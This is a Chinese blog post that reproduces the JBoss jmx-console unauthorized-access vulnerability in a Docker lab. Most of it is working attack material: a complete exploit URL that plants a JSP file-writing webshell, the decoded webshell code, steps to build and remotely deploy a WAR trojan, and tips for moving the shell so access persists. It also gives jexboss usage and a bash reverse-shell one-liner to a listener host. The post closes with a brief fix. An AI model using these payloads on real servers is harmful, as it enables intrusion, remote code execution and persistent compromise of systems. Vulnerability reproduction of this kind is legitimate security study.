zoukankan      html  css  js  c++  java
  • Jboss未授权访问漏洞复现

    0x00 前言

    漏洞原因:在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码。

    0x01 环境

    使用docker搭建漏洞环境

    sudo docker search testjboss

    搜索漏洞环境

    sudo docker pull testjboss/jboss

    拉取镜像

    sudo docker images

    查看现有的docker环境

    sudo docker run -p 80:8080 -d testjboss/jboss

    运行环境,访问http://ip即可

     0x02 复现

    方法一:

    http://ip/jmx-console  直接访问jboss控制台

    写入一句话木马:

    http://ip/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

    url中的参数:arg0代表war包的名称,arg1=文件名称,arg2=文件后缀名,arg3=文件内容

    将arg3的值取出来并url解码:

    <% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>

    功能是写入文件,f=文件名,t=文件内容

    写入1.txt文件

    http://ip/August/shell.jsp?f=1.txt&t=hello world!

    访问1.txt文件

    http://ip/August/1.txt

    方法二:

    首先制作一个war木马(需要jdk),在jsp小马目录下cmd执行:

    jar cvf shell.war ma.jsp

    若报拒绝访问错误,请使用管理员权限运行cmd

    将war包放在自己的服务器上

    Jboxx4.x /jmx-console/ 后台存在未授权访问,进入后台后,可直接部署 war 包Getshell。若需登录,可以尝试爆破弱口令登录。

    然后找到jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)

     

     也可以直接输入URL进入:

    http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL

    找到页面中的void addURL()选项来远程加载war包来部署。

     

     查看部署是否成功
    返回到刚进入jmx-console的页面,找到 jboss.web.deployment,如下说明部署成功。如果没显示,多刷新几次页面或者等会儿,直到看到有部署的war包即可

     访问我们的木马

     500了,不知道为啥

    通常像上面这样部署的webshell,物理路径默认都会在以下目录下
    jboss-4.2.3.GAserverdefault mpdeployxxx.war
    而这个目录最多用作临时维持下权限,所以可以把shell传到jmx-console的默认目录来巩固权限
    jboss-4.2.3.GAserverdefaultdeployjmx-console.war

     0x03 检测工具

    检测工具:jexboss,一个使用Python编写的Jboss漏洞检测利用工具,通过它可以检测并利用web-console,jmx-console,JMXInvokerServlet这三个漏洞,并且可以获得一个shell。

    https://github.com/joaomatosf/jexboss

    使用:

    python2 jexboss.py -u http://ip:port

     

     反弹shell到win10机器,win10机器关闭防火墙,nc监听

    bash -i >& /dev/tcp/192.168.255.1/7777 0>&1

     

     

     0x04 修复建议

    修复建议:关闭jmx-console和web-console,提高安全性。

    参考文章:

    https://mp.weixin.qq.com/s/nLH58xnHwDkrmvYCdne03Q

    http://www.manongjc.com/detail/14-tjkcvyvhmnupndv.html

    https://mp.weixin.qq.com/s/riZuY-gYRsI5IwEYoLMKIA

  • 相关阅读:
    Oracle 数据库对象
    oracle基础知识
    中文乱码问题
    会话技术Cookie&Session
    HttpServletRequest请求
    JAVA基础之设置随机成语验证码
    HttpServletResponse响应
    Spring注解 AOP@Aspect
    Visual studio Code使用技巧
    缓存相关
  • 原文地址:https://www.cnblogs.com/rnss/p/13377321.html
Copyright © 2011-2022 走看看